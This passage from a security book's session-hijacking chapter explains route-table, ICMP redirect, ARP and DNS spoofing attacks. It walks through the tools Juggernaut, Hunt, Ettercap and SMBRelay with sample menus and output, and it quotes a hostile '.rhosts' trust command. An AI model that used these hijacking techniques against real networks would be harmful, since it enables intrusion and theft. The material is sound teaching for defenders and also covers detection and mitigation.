detection system (IDS) somewhere in between, could be configured to spot.
However, if the attacker is able to drop packets at will, he can then perfectly
emulate the other end of a conversation to either host. (At least theoretically he
can “perfectly” emulate either side. It depends on the quality of the TCP host
emulation in the attacker’s software. Research is being done in the area of passive
OS fingerprinting. If there is a flaw in the attacker’s emulation of a particular
OS’s characteristics, it’s possible that a host might be able to use passive OS detection
techniques to spot a change in the TCP communications and flag an
anomaly.) Being able to drop packets will eliminate the ACK storms, duplicate
packets, and the like.
In fact, such systems to take over connections in this manner exist today; we
call them transparent firewalls. (Transparent in this case means that the client needs
no special configuration.) Some transparent firewalls can do file caching, port
redirection, extra authentication, and any number of other tricks that an attacker
would like to perform.
Route Table Modification
Typically, an attacker would be able to put himself in such a position to block
packets by modifying routing tables so that packets flow through a system he has
control of (Layer 3 redirection), by changing bridge tables by playing games with
spanning-tree frames (Layer 2 redirection), or by rerouting physical cables so that
the frames must flow through the attacker’s system (Layer 1 redirection).The last
technique implies physical access to your cable plant, so perhaps you’ve got much
worse problems than TCP session hijacking in that instance.
Most of the time, an attacker will try to change route tables remotely.There
has been some research in the area of changing route tables on a mass scale by
playing games with the Border Gateway Protocol (BGP) that most Internet
www.syngress.com
412 Chapter 11 • Session Hijacking
service providers (ISPs) use to exchange routes with each other. Insiders have
reported that most of these ISPs have too much trust in place for other ISPs,
which would enable them to do routing updates. BGP games were in large part
the basis for the L0pht’s claim before the U.S. Congress a few years ago that they
could take down the Internet in 30 minutes.
A more locally workable attack might be to spoof Internet Control Message
Protocol (ICMP) and redirect packets to fool some hosts into thinking that there
is a better route via the attacker’s IP address. Many OSs accept ICMP redirects in
their default configuration. I’ve had some Solaris SPARC 2.5.1 machines pick up
new routes from ICMP redirects and then refuse to give them up without a
reboot. (Some sort of kernel bug caused the machine to get into a weird state
that refused to accept route update calls.) Unless you want to break the connection
entirely (or you proxy it in some way), you’ll have to forward the packets
back to the real router so they can reach their ultimate destination.When that
happens, the real router is likely to send ICMP redirect packets to the original
host, too, informing it that there is a better route. So, if you attempt that sort of
attack, you’ll probably have to keep up the flow of ICMP redirect messages.
If the attacker has managed to change route tables to get packets to flow
through his system, some of the intermediate routers will be aware of the route
change, either because of route tables changing or possibly because of an Address
Resolution Protocol (ARP) table change.The end nodes would not normally be
privy to this information if there are at least a few routers between the two
nodes. Possibly the nodes could discover the change via a traceroute-style utility,
unless the attacker has planned for that and programmed his “router” to account
for it (by not sending the ICMP unreachables and not decrementing the Timeto-
Live [TTL] counter on the IP packets).
Actually, if an attacker has managed to get a system into the routing path
between two hosts, his job has gotten considerably easier. As an example, suppose
the attacker wants to hijack HTTP or File Transfer Protocol (FTP) connections
in which the client is retrieving a Windows .exe executable file.Writing or gathering
all the pieces of code necessary to emulate an IP stack and inject a new file
into the middle of a hijacked TCP connection would be daunting. However, the
attacker no longer needs to do that, as long as he doesn’t feel that he needs to go
to extraordinary measures to evade detection. Modifying an open source UNIXlike
operating system to not decrement the TTL and not send ICMP unreachables
ought to go a long way toward evading traceroute detection. Once that’s
done, it’s relatively easy to configure a caching proxy such as Squid to do transparent
proxying.
www.syngress.com
Session Hijacking • Chapter 11 413
A page of information on how to set up Squid to do transparent proxying can
be found at www.squid-cache.org/Doc/FAQ/FAQ-17.html.There are instructions
for how to get it to work with Linux, the BSDs, Solaris, and even Cisco
IOS. Squid will normally reveal itself with the way it modifies HTTP requests
slightly, but that could be programmed away without too much difficulty.
The final step would be to modify the Squid caching code to hand over a particular
.exe instead of the original one requested. Once you can fool people into
thinking that they’re downloading a legitimate executable straight from the vendor
site while actually handing them yours, getting your Trojan horse program inside
their defenses is a given.The user might not even be aware it’s happening or even
be around, because many programs now automatically check for updates to themselves,
and some of them will fall for this trick just as easily as a person would.
www.syngress.com
“Use the Force, Luke...”
Standards are a hacker’s best friend. He’s got access to all the same
information that you do; essentially everything your network does is
right at his fingertips. If you’re not just as acquainted with the Request
for Comments (RFCs) as he is, you’re in for a very long day. Take some
time to pore over the information governing the use of the protocols on
your network, especially the new standards. A good source for RFCs is
www.rfc-editor.org. Lab time is essential for keeping current on the
latest vulnerabilities and weaknesses, so make sure you’ve allotted
ample time for lab research in your schedule. You’ll find plenty of information
watering holes on the Internet, but some of the typical “hacker
hangouts” include:
 Newsgroups such as alt.hackers.malicious, alt.2600, and
alt.hacking
 Internet Relay Chat (IRC) rooms dedicated to discussions on
hacking
Also, astalavista.box.sk and securityfocus.com search engines have
hundreds of links to the latest sites. These sites tend to move around due
to the nature of content, so your bookmarks might need frequent
updating.
Notes from the Underground…
414 Chapter 11 • Session Hijacking
ARP Attacks
Another way to make sure that your attacking machine gets all the packets going
through it is to modify the ARP tables on the victim machine(s). An ARP table
controls the Media Access Control (MAC)-address-to-IP-address mapping on
each machine. ARP is designed to be a dynamic protocol, so as new machines are
added to a network or existing machines get new MAC addresses for whatever
reason, the rest update automatically in a relatively short period of time.There is
absolutely no authentication in this protocol.
When a victim machine broadcasts for the MAC address that belongs to a
particular IP address (perhaps the victim’s default gateway), all an attacker has to
do is answer before the real machine being requested does. It’s a classic race condition.
You can stack the odds in your favor by giving the real gateway a lot of
extra work to do during that time so that it can’t answer as fast.
As long as you properly forward traffic from the victim (or fake a reasonable
facsimile of the servers the victim machine is trying to talk to), the victim might
not notice that anything is different. Certainly, there are noticeable differences, if
anyone cares to pay attention. For example, after such an attack, each packet
crosses the same local area network (LAN) segment twice, which increases traffic
somewhat and is suspicious in itself. Furthermore, the biggest giveaway is that the
ARP cache on the victim machine is changed.That’s pretty easy to watch for, if
someone has prepared for that case ahead of time. One tool for monitoring such
changes is arpwatch, which can be found at: ftp://ee.lbl.gov/arpwatch.tar.gz.
A tool for performing an ARP attack is (for lack of a formal name) grat_arp,
by Mudge (and, he claims, some unidentified friends). One place it can be found
is attached to the following vuln-dev mailing list post: www.securityfocus.com/
archive/82/28493.You can find a good article on the subject (with an embedded
send_arp.c tool) in the following Bugtraq post: www.securityfocus.com/archive/
1/7665.
More to the point is arpspoof, mentioned in Chapter 10. It’s part of the dsniff
set of tools available at www.monkey.org/~dugsong/dsniff.Arpspoof automates
much of the process.
Finally, some of this functionality is already built into the Hunt tool, which
we cover in its own section later in this chapter.
Note that ARP tricks are good not only for getting traffic to flow through
your machine, but also just so you can monitor it at all when you’re in a switched
environment. Normally, when there is a switch (or any kind of Layer 2 bridge)
between the victim and attacking machine, the attacking machine will not get to
www.syngress.com
Session Hijacking • Chapter 11 415
monitor the victim’s traffic. ARP games are one way to handle this problem.
Refer to Chapter 10 for details.
UDP Hijacking
Now that we’ve seen what TCP session hijacking looks like, the rest is easy.We
have problems with TCP due to all the reliability features built into it. If it
weren’t for the sequence numbers,ACK mechanism, and other things that TCP
uses to ensure that packets get where they need to go, our job would be a lot
easier.Well, guess what? The User Datagram Protocol (UDP) doesn’t have those
features; at least, it doesn’t as it is. However, a protocol designer can implement
the equivalents to all those features on top of UDP.Very few attempt even a small
subset of the TCP features.The Network File System (NFS) has something akin
to sequence numbers and a retransmit feature, but it’s vastly simpler than TCP.
So, most of the time, “hijacking” UDP comes down to a race. Can a hacker
get an appropriate response packet in before the legitimate server or client can?
In most cases, the answer is probably yes, as long as the hacker can script the
attack.The attacker needs a tool that watches for the request, then produces the
response he wants to fake as quickly as possible, and then drops that on the wire.
For example, the Domain Name System (DNS) would be a popular protocol
to hijack. Assume that the hacker’s attacking machine is near the client and the
DNS server is located somewhere farther away on the network.Then:
 The hacker wants to pretend to be some Web server, say SecurityFocus.
 The attacker programs his attacking machine to watch for a request for
that name and store a copy of the packet.
 The hacker extracts the request ID and then uses it to finish off a
response packet that was prepared ahead of time that points to his
IP address.
 The client then contacts the hacker’s machine instead of SecurityFocus.
 The client sees a message to the effect of “SecurityFocus has been
0wned.”
Of course, the server wasn’t actually owned in this case, but the user doesn’t
know that, unless he thinks to check the IP address that securityfocus.com had
resolved to. Alternatively, perhaps the hacker made his Web server look exactly
www.syngress.com
416 Chapter 11 • Session Hijacking
like securityfocus.com’s, but all the downloadable security programs have been
turned into Trojan horses. Another piece of the dsniff package, dnsspoof, helps
accomplish this kind of attack.
Examining the Available Tools
More than a few tools that make session hijacking much easier are available
today; in some cases they can automate the process completely.These types of
tools are essential for any security toolbox.We’ve chosen a few of the more functional
and popular ones to discuss here.
Juggernaut
Juggernaut was written by route, editor of Phrack magazine. He wrote about it in
a Phrack article, which can be found at http://staff.washington.edu/dittrich/
talks/qsm-sec/P50-06.txt.
Route gave a demonstration of version 1.0 during a presentation at the first
Black Hat Briefings security conference. In the next issue of Phrack, he released a
patch file that brought the version up to 1.2.This file can be found here:
http://staff.washington.edu/dittrich...ec/P51-07.txt.
Be warned:The patch as it exists has been a little bit mangled. If you try to
apply the patch, you’ll see exactly where it has been altered. I got around this
glitch by deleting the offending patch section and applying the few lines of patch
by hand. Also be careful when you download the files; they’re not HTML, they’re
text. So, if you cut and paste from the Web site into Notepad or something, you
might end up missing some characters that the Web browser has tried to interpret.
So do a Save As instead, or make things easier on yourself and get the whole
thing here: packetstormsecurity.org/new-exploits/1.2.tar.gz.
During testing, Juggernaut was not “seeing” connections until the GREED
option was turned on in the Makefile. See the Install file for directions.
At the time, Juggernaut was a pioneering work, and no similar tools had been
demonstrated. Even today, only a small number of tools attempt the sessionhijacking
function that Juggernaut offers.
Juggernaut has two operating modes.The first is to act as a sniffer of sorts,
triggering on a particular bit of data (the second mode is Normal, which we’ll
get to later). Here’s the online help, which shows the commands:
[root@rh Juggernaut]# ./juggernaut -h
www.syngress.com
Session Hijacking • Chapter 11 417
Usage: ./juggernaut [-h] [-s TOKEN [-e xx] ] [-v] [-t xx]
-h terse help
-H expanded help for those 'specially challanged' people...
-s dedicated sniffing (bloodhound) mode, in which TOKEN
is found enticing
-e enticement factor (defaults to 16)
-v decrease verbosity (don't do this)
-V version information
-t xx network read timeout in seconds (defaults to 10)
Invoked without arguments, Juggernaut starts in `normal` mode.
Displayed is the terse help.The expanded help has much more detailed explanations
as well as some examples. As you can see from the help shown here, this
program has personality. If you start it with the –s option, it acts as a logging
sniffer. For example, you could tell it to look for a “token” of assword (short for
both password and Password) and it would log packets following that word. How
many packets it grabs is the “enticement factor,” so it will default to logging the
next 16 packets, or you can set it higher or lower. Unless you modify the filename
in the source code, it will log packet contents into a file named juggernaut.
log.snif in the directory from which the program was invoked.
Starting the program with no command-line options puts it into Normal
mode, as shown here:
Juggernaut
+------------------------------+
?) Help
0) Program information
1) Connection database
2) Spy on a connection
3) Reset a connection
4) Automated connection reset daemon
5) Simplex connection hijack
6) Interactive connection hijack
7) Packet assembly module
www.syngress.com
418 Chapter 11 • Session Hijacking
8) Souper sekret option number eight
9) Step Down
(This is following a splash screen, and no, Option 8 doesn’t do anything.)
Option 1,“Connection database,” shows a list of TCP connections that the
program has “seen.”You can see an example of a Telnet connection:
Current Connection Database:
-------------------------------------------------
ref # source target
(1) 10.0.0.5 [2211] --> 10.0.0.10 [23]
-------------------------------------------------
Database is 0.20% to capacity.
[c,q] >
The q option here, as in most places in the program, returns you to the ninechoice
main menu.The c option offers to clear the connection database. In order
for a number of the later functions to work, there must be something in the connection
database. So don’t bother with the sniffing or hijacking functions until
this part works for you.
Option 2 is a sniffing function; it lets you spy on connections that it has listed
in the connection database.The following example is a capture from the same
Telnet connection we had in the database before:
Current Connection Database:
-------------------------------------------------
ref # source target
(1) 10.0.0.5 [2211] --> 10.0.0.10 [23]
-------------------------------------------------
Choose a connection [q] >1
Do you wish to log to a file as well? [y/N] >y
Spying on connection, hit `ctrl-c` when done.
www.syngress.com
Session Hijacking • Chapter 11 419
Spying on connection: 10.0.0.5 [2211] --> 10.0.0.10 [23]C
Disk Usage (Jul 3 06:01): Mail – 1705 kilobytes
File Repository - 162 kilobytes
Fax Repository - 1 kilobytes
109 Message(s) In New Mail
[TECNET:Main menu]?
As you can see, we also get the option to save the captured information to a
log. Option 5 is “Simplex connection hijack.”This option simply hijacks the connection
and sends a command without viewing the results on the attacker’s
screen. An example is shown here:
Current Connection Database:
-------------------------------------------------
ref # source target
(1) 10.0.0.5 [2211] --> 10.0.0.10 [23]
-------------------------------------------------
Choose a connection [q] >1
Enter the command string you wish executed [q] >
Finally, we look at Option 6, “Interactive connection hijack.”This is basically
the same as Option 5, but we also get to see the output (just as in Option 2).
Most of the time, a hacker will probably want to use this option when hijacking
so she can see what’s going on when she’s about to break in. For example, if a
hacker is working blind, she wouldn’t want to issues the “echo + + > /.rhosts”
command if the user was in the middle of using vi rather than at a shell prompt.
On the other hand, if the user is in the middle of doing something that is causing
a lot of output, the hacker might prefer the blind hijack so that her screen isn’t
disrupted, too.
Here’s what Option 6 looks like when used:
Current Connection Database:
-------------------------------------------------
www.syngress.com
420 Chapter 11 • Session Hijacking
ref # source target
(1) 10.0.0.5 [2211] --> 10.0.0.10 [23]
-------------------------------------------------
Choose a connection [q] >1
Spying on connection, hit `ctrl-c` when you want to hijack.
NOTE: This will cause an ACK storm and desynch the client until the
connection is RST.
Spying on connection: 10.0.0.5 [2211] --> 10.0.0.10 [23]
Route is no longer maintaining or enhancing Juggernaut, and it does not
appear that anyone else is either, at least not publicly. He did write an enhanced
version called Juggernaut++, and he showed screen shots of it at one point, but
he never released it.
Juggernaut is several years old now.That’s a long time in the world of security
tools, especially for a tool that isn’t being actively developed. It has some limitations,
such as not being able to do connection resynchronization and not being
able to act on connections that belong to the host it’s running on. It will work
on arbitrary TCP ports, though. (Other tools are limited to Telnet or similar protocols.)
Juggernaut is no longer the best tool for the job, but it’s still very enlightening
to read the research that route did to produce such a tool. (Read the
original Phrack article for the story.)
Hunt
Hunt is a tool created by Pavel Krauz.The current version at the time of this
writing is 1.5.The program does not appear to be under active development; the
1.5 version was released on May 30, 2000. It can be found at
http://lin.fsid.cvut.cz/~kra/index.html#HUNT.
Hunt is a more ambitious project than Juggernaut—at least, it has evolved
into such a project. According to the Readme file that comes with the distribution,
one of the reasons Krauz developed this program was to gain were some
features he wanted that weren’t available in Juggernaut.
Like Juggernaut, Hunt has sniffing modes and session hijack modes. Unlike
Juggernaut, Hunt adds some ARP tools to perform ARP spoofing in order to get
www.syngress.com
Session Hijacking • Chapter 11 421
victim hosts to go through an attacking machine, to eliminate the ACK storm
problems typically associated with a TCP session hijack. Here’s what Hunt looks
like when it is launched:
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
->
The -> is Hunt’s prompt, and it is awaiting one of the letters listed as a command.
Hunt keeps track of Telnet and rlogin connections by default, but the code
is written in such a way that it would be very easy to add other types. In the file
hunt.c, in the initialization code for the entry function, is this line:
add_telnet_rlogin_policy();
This function is located in the addpolicy.c file, and here’s the function in
question:
void add_telnet_rlogin_policy(void)
{
struct add_policy_info *api;
api = malloc(sizeof(struct add_policy_info));
assert(api);
memset(api, 0, sizeof(sizeof(struct add_policy_info)));
api->src_addr = 0;
www.syngress.com
422 Chapter 11 • Session Hijacking
api->src_mask = 0;
api->dst_addr = 0;
api->dst_mask = 0;
api->src_ports[0] = 0;
api->dst_ports[0] = htons(23);
api->dst_ports[1] = htons(513);
api->dst_ports[2] = 0;
list_push(&l_add_policy, api);
};
As you can see, it would be pretty trivial to add new port numbers and
simply recompile.
When Hunt latches onto a Telnet or rlogin connection, it displays it in the list
connections menu, as shown here:
-> l
0) 10.0.1.1 [3014] --> 130.212.2.65 [23]
--- Main Menu --- rcvpkt 2664, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
The first two lines are the ones we’re interested in; Hunt often redisplays the
menu immediately following a command.We can see here that Hunt has located
a Telnet connection. Here’s the process to “watch” (sniff ) a connection:
-> w
0) 10.0.1.1 [3014] --> 130.212.2.65 [23]
choose conn> 0
dump [s]rc/[d]st/[b]oth [b]> [cr]
print src/dst same characters y/n [n]> [cr]
CTRL-C to break
www.syngress.com
Session Hijacking • Chapter 11 423
llss
<FF><FA>!<FF><F0><FF><FC><FF><FA>"FF><F0><FF><FA>"b
<FF><F0><FF><FE><FF><FA>"<FF><F0><FF><FA>"<82><E2> <82>
<82>
<82><82><82><82><82><FF><F0><FF><FA>!<FF><F0>
Apps/ Library/ Mailboxes/ Makefile
bookmarks.html
dead.letter mail/ proj1.c public_html/
<FF><FA>!<FF><F0><FF><FB><FF><FA>"<FF><F0><FF><FA>"<FF><FF>b<FF><FF>
<FF><FF>
<FF><FF>
<FF><FF><FF><FF><FF><FF><FF><FF><FF><FF><FF><F0><FF><FA>!<FF><F0>futon>
<FF><FD>
<FF><FA>"<FF><F0><FF><FA>"<82><FF><FF><E2><FF><FF> <82><FF><FF>
<82><FF><FF>
<82><FF><FF><82><FF><FF><82><FF><FF><82><FF><FF><82><FF><FF><FF><F0>
For example, I had Hunt monitor a Telnet connection I had opened, and then
I went to my Telnet window and issued the ls command.You can see the ls command
toward the top (shown as llss) followed by some hex output, and then the
files in my directory, and then more hex.The llss is the result of Hunt displaying
what I typed as well as displaying the server’s response (echoing my characters
back to me). So, it looks like the “print src/dst same characters” choice doesn’t
work quite yet.The hex characters are the terminal formatting characters that
normally take place behind the scenes during a Telnet session.
Of course, we’re not here to use Hunt as a sniffer; that feature is just a convenience.
We want to understand how Hunt is used to hijack connections! Here’s a
demonstration:
-> s
0) 10.0.1.1 [3014] --> 130.212.2.65 [23]
choose conn> 0
www.syngress.com
424 Chapter 11 • Session Hijacking
dump connection y/n [n]> [cr]
Enter the command string you wish executed or [cr]> cd Apps
<FF><FA>!<FF><F0>cd Apps
futon>
Meanwhile, this is what displays in my Telnet window:
futon>
futon> cd Apps
futon>
The output displays on the screen just as though I had typed it into the
Telnet window. Meanwhile, back at the Hunt program:
Enter the command string you wish executed or [cr]> [cr]
[r]eset connection/[s]ynchronize/[n]one [r]> s
user have to type 8 chars and print 0 chars to synchronize connection
CTRL-C to break
When I press Enter to quit sending characters as the client, I’m presented
with the choices to try and resynchronize the client and servers, reset the connection,
or just leave it desynched.Trying the synchronize option was not successful
in this instance; it sat waiting. Entering characters in the Telnet window
didn’t seem to help the resynchronization process. Other attempts at resynchronization
were successful.The factors that seem to play into it are time, length of
the command(s) given as hijacker, how reliable (packet loss) the network is at the
moment, and, of course,TCP implementation.
In most cases, if you’re trying to cover your tracks, you’ll simply want to issue
your command as soon as possible, and then immediately reset the connection.
This is in hopes that the user in front of the legitimate client (if they’re even
there at the time) will simply think it’s another mysterious reset, and just open a
new window without being suspicious in the slightest.
Hunt is not without its faults. In all the interact/display screens I encountered,
where it says press Ctrl-C to break, I found that after I pressed Ctrl-C, I still had
to wait for the monitored machine to transmit something before Hunt would pay
attention to my key-press. (For example, when I was sniffing a Telnet connection, I
pressed Ctrl-C and nothing happened. As soon as I switched to the Telnet
window and pressed a key, Hunt then responded.) Presumably, Hunt’s monitoring
loop is such that it doesn’t check for keystrokes at all times; it probably blocks
www.syngress.com
Session Hijacking • Chapter 11 425
waiting for input from the network, and only after that has cleared does it go back
through the loop and check for input from the Hunt operator.
Hunt’s user interface is also a bit plain and terse. However, that’s one of the
easier things to fix in an application of this sort.The network stuff is the more
difficult, and therefore probably more interesting, part of this problem.The interface
is usable, though, so it’s not all bad. Possibly if one of the readers of this book
is inclined and can program, he or she might contact the Hunt author and see if
he would like help with its interface development.
Ettercap
Ettercap is a multipurpose program used primarily for sniffing, capturing, and
logging traffic on switched LANs. It supports both passive and active dissections
of various protocols. At the time of this writing, Ettercap also includes support for
Secure Shell version 1 (SSH1) and Secure Sockets Layer (SSL) connections.
Ettercap is available from http://ettercap.sourceforge.net and runs on the Mac
OS X, Linux, and BSD OSs. Ettercap uses four modes:
 IP Where the packets are filtered based on source and destination.
 MAC Packet filtering based on MAC address.
 ARP Where ARP poisoning is used to sniff/hijack switched LAN connections
(in full-duplex mode).
 PublicARP Where ARP poisoning is used (in half-duplex mode) to
allow sniffing of one host to any other host.
Let’s look into the use of Ettercap a little further.The following scenarios use
a simple switched network, using Network Address Translation (NAT) behind
RFC1918 IP addresses. It’s a simple home network, one that many small
offices/home offices (SOHOs) use today, largely due to its low cost and the rampant
availability of high-speed cable-modem or digital subscriber line (DSL).A
typical implementation looks something like the one shown in Figure 11.1. In
this particular case, 192.168.1.104 is the session hijacker.
Fire up Ettercap and you’re greeted with a screen that shows you all the hosts
located on the same-switched segment (see Figure 11.2). Use the Tab and Arrow
keys to select the two hosts you want to play with.You should see the source and
destination IPs that you’ve selected noted in the top left of the program.
www.syngress.com
426 Chapter 11 • Session Hijacking
www.syngress.com
Figure 11.1 A Typical SOHO Network
Switched network
Internet
Switch
192.168.1.1
Cable/DSL
E-mail server
Proxy server
192.168.1.101
192.168.1.100 MITM attacker
192.168.1.104 Wireless Access Point
192.168.1.250
Public IP
modem
Figure 11.2 Available Hosts on the Switched Segment
Session Hijacking • Chapter 11 427
Press a to poison the ARP cache of the selected hosts, as shown in Figure 11.3.
You’ll then be presented with a screen listing all the connections between the two
hosts you’ve selected (see Figure 11.4).
In this case, we’ve selected the switch (A Linksys BEFSR81) and a network
client running Windows 2000 Advanced Server.We’ve used the OS
Fingerprinting option to successfully determine 192.168.1.100’s operating
system. Notice the Simple Network Management Protocol (SNMP) traps being
generated by the switch (192.168.1.1) to the Windows 2000 server
(192.168.1.100).This is normally a telltale sign that this host (192.168.1.100) is
being used to manage the switch.
Pressing h anytime as the program runs brings up a short help screen.The
first help screen is from the initial page on which all the segment hosts are listed
(see Figure 11.5).The second help screen appears after a particular host is selected
from that screen (see Figure 11.6).
www.syngress.com
Figure 11.3 Poisoning the ARP Cache
Figure 11.4 Available Connections Between Selected Hosts
428 Chapter 11 • Session Hijacking
Remember what we said before, about UDP session hijacking? It’s much
easier to hijack a session over UDP than it is over TCP due to lack of error correction
and packet delivery “guarantees.” In this particular case, a hacker could
probably get a lot of “bang for the buck” simply by hijacking the SNMP connection.
Why is that, you ask? The simple answer is that if the hacker has access to
the switch’s configuration, he can do myriad things on or to this network. In this
case, the switch is also being used as a gateway to the Internet, so the possibilities
for potential mischief boggle the mind. But let’s move on to something a little
more practical.
www.syngress.com
Figure 11.5 Initial Help Screen Options
Figure 11.6 Selected Connection Options
Session Hijacking • Chapter 11 429
For this scenario, the hacker has FTP running on the server, but the originating
connections are restricted to the host IP of 192.168.1.103.When Ettercap
is run, the hacker sees port 21 on the server come up active and then go right to
a “silent” state.The hacker selects port 21 and establishes a connection between
the FTP server and the client so he can capture, modify, or inject data at will (see
Figure 11.7).
Here we see a whole slew of Microsoft Network traffic from a network client
to the server. Ports 137 and 139 are Microsoft NetBIOS name and session services.
Port 445 is used for Microsoft directory services and provides much of the
same functionality for Server Message Block (SMB) over TCP/IP on Windows
2000 that ports 138 and 139 did under previous versions of Windows OSs.A
recent article at www.newsbytes.com/news/01/169408.html illustrates some of
the security problems this port can create in a typical networked environment.
Interestingly enough, even after you disable NetBIOS over TCP/IP under the
network card’s configuration, this port will still show up.
Let’s say that the hacker selects port 445, which at this time is indicating a
status of “silent.”This is no doubt a mapped drive connection from
192.161.1.103 to the server.When the hacker gets some SMB traffic from a
directory listing or other type of browse here, things will get pretty noisy.
Figure 11.8 shows what part of an active connection looks like (using text
display) from the middle when a client connection is made to a server share. If
the hacker wants, he can also dump this information to a log file for later use.
www.syngress.com
Figure 11.7 SMB Connection Selection
430 Chapter 11 • Session Hijacking
SMBRelay
Let’s take the previous example a bit further.What would be the easiest way
to hijack an SMB session, short of injecting forged packets? Why, SMBRelay,
of course.
SMBRelay is a program written by SirDystic of cDc that allows for SMB
hijacking by forcing the client to be disconnected after the user has authenticated;
the hacker takes over the existing SMB session using the same credentials.The only
way to guard against this action is by enabling SMB signing on both ends.This will
likely cause a 10–15 percent performance drop and effectively breaks most backward-
compatible client connections, so it must be used with caution.
For more details on which registry changes need to be made to support
SMB signing, check out http://support.microsoft.com/support/kb/articles/
Q161/3/72.asp.
Storm Watchers
As we’ll see in detail, ARP games and TCP session hijacking can be very noisy. In
addition, most attacks that can only inject and can’t stop one of the original communicators
from sending will be spottable as well. For example, in our DNS scenario,
the fact that two responses are sent and that they don’t match is a huge
clue that something is wrong. Let’s see what is happening behind the scenes.
Retransmissions and duplicate packets are not uncommon on a normal network,
but in most cases, the packet contents should be the same. For our ARP
and DNS examples, it would be possible to build a tool that watched for
responses, calculated a hash of the packet, and then stored that hash for a period
www.syngress.com
Figure 11.8 SMB Connection Activity
Session Hijacking • Chapter 11 431
of time. If another packet comes in with appropriately matching characteristics,
but the hash doesn’t match, you might have a problem. (You have to take care to
throw out the pieces of the packet you don’t want to consider suspicious, such as,
perhaps, the TTL, before you calculate the hash.) Basically, this is the IDS
approach, with all its benefits and problems.
ACK Storms
We looked at a brief Telnet session-hijacking example earlier in the chapter. In
that example, the goal was to execute a command on the server. For our example,
I deliberately picked a short command from which we didn’t really need the
output.There’s a reason for this:TCP can be pretty messy to hijack.Were a hacker
to try to take over both sides of the conversation or hold a protracted hijacked
TCP conversation, she’d run into some difficulties. Let’s examine why.
Recall that TCP is a “reliable” transport. Since TCP sits atop an unreliable
layer (IP) that will sometimes drop packets, mangle them, or deliver them out of
order,TCP has to take responsibility for taking care of those problems. Essentially,
TCP does this by retransmitting packets as necessary.The TCP software on each
host keeps a copy of all the data it has sent so far, until it receives an ACK packet
from the other end. At that point, it drops the data that has been acknowledged.
If it has data in its sent queue that has not been acknowledged after a certain
amount of time, it sends it again, assuming it got lost in transit.
When a hacker tries to jump into the middle of a TCP conversation and pretend
to be one of the communicating parties, she’s going to be racing one of the
hosts to get a packet with the right sequence numbers onto the wire before the
legitimate host does. (For this example, assume that the hacker can’t block the
packets coming from the legitimate hosts; we’ve discussed cases where they can.)
At some point during the race, the hacker will get one of the packets in before
the real host.When that happens, she’s hijacked the connection.The problem is,
the host that she’s pretending to be and just beat in the race is still going to send
its packet.
The host that just received the hacker’s packet is going to mark it as received,
ACK it when the time comes, and generally move on to later parts of the data
stream.When the host receives a second packet with matching numbers, it will
simply assume that it has received a duplicate packet. Duplicate packets happen all
the time, and the TCP software on hosts is written to ignore any packets that
appear to be for data that they’ve already received.They don’t care that the information
doesn’t seem to match exactly, as would be the case with a true duplicate.
www.syngress.com
432 Chapter 11 • Session Hijacking
During this process, at some point the recipient of the faked packet is going
to send an ACK for it to the other host that it was originally talking to.
Depending on where in the sending phase is the host the hacker is pretending to
be, this ACK might or might not make sense. If the host hasn’t sent the packet
yet when it gets the ACK, as far as it’s concerned it shouldn’t have received it yet.
Most hosts in those circumstances simply ignore the early ACK, send the pending
packet anyway, and wait for another ACK to arrive.
When the server gets what it thinks is another copy of the packet, it sends
another ACK, which is intended to mean that the server had already received that
data and had moved on.When an out-of-order ACK is received, the proper
response is to reply with an ACK packet with the expected sequence number. So,
when the server sends the real client an ACK that the client didn’t expect (i.e.,
the reply to the “illegal”ACK is itself illegal), the client does the same; it sends an
ACK with the expected sequence number.The result is an ACK storm.
The resulting ACK storm continues until one of a few conditions is met.
First, if any of the ACKs get lost or corrupted along the way, the storm will stop.
On a fast, reliable LAN, packets don’t often get dropped. In such an environment,
the ACK storm may continue for some time, unless it gets bad enough to cause
the needed packet loss to stop itself.
Second, once the attacker has sent the commands she needed to send, she can
reset the connection.An RST packet sent from the attacker to the client and/or
server causes them to stop sending the ACKs and, in fact, closes the connection
entirely. From the point of view of the user sitting in front of the client, he’ll see
some sort of “connection aborted” message. For most people, this message is
common enough that they wouldn’t think twice about it and would simply open
a new window. Some Telnet clients even erase the screen the moment a connection
resets or after the dialog box saying that the connection has been reset is
acknowledged (in other words, OK has been clicked). Such behavior makes it
even easier for the attacker to avoid being spotted, since usually the only hint the
legitimate user has that something is wrong is any suspicious output on the
screen.
Third, in some cases it’s possible to resynchronize the client and the server so
that the client can resume its normal activity.This step is problematic, though, and
dependent on a couple of factors.The basic idea is that the original client
machine needs to catch up to where the attacker and server are in the conversation.
For example, if the original client were 100 bytes into a conversation, and
someone breaks in, hijacks the connection, and sends 10 characters to the server
as the client, the server then thinks the client is at 110.The attack program state
www.syngress.com
Session Hijacking • Chapter 11 433
is also at 110 (in case the attacker wants to send more, it keeps track), but the
original client is still thinking it’s at 100.When the hacker wants to resynchronize
the two, she must somehow get the client to catch up. She can’t move the server
back to 100 bytes; she can only move forward. So, as the client sends data, the
hacker spoofs ACK replies for it from the server.The client moves its internal
counter up as it goes until it reaches 110, and then the hacker simply gets out of
the way. At that point, the server and client are back in sync, and the original
client can communicate again.
Of course, the intricacies of how a particular TCP implementation will react
vary from OS to OS. During my testing of Hunt (see the section on Hunt previously
in the chapter), I discovered that a particular combination of client and
server OS would not desynchronize.When connecting to an ancient NextOS
machine (yes, those black cubes that Steve Jobs made after leaving Apple) from a
Red Hat 6.2 client using Telnet, Hunt could inject commands, but the client
would be able to as well.There was no need to resynch when done, because the
client never was desynchronized in the first place.The same test using another
Red Hat 6.2 system as the Telnet server produced the expected result:The original
client could see the commands being typed but could not issue commands.
The ACK storm problem seems to follow the synchronization problem as
well, at least in this case.There was no ACK storm on the NextOS/Linux
combo, but there was with Linux/Linux.
Playing MITM for Encrypted
Communications
As you saw in Chapter 10, widely deployed encryption is one easy way to make
many network hijacking attacks much more difficult. Solutions are available for
all the International Organization for Standardization (ISO) layers, from
encrypting network interface cards (NICs) at Layer 2 all the way up through
numerous Application layer encryption technologies. Most of your typical target
protocols for session hijacking can be replaced with SSH2, which can replace the
functionality of Telnet, FTP, rlogin, and rcp. In addition, you can tunnel other
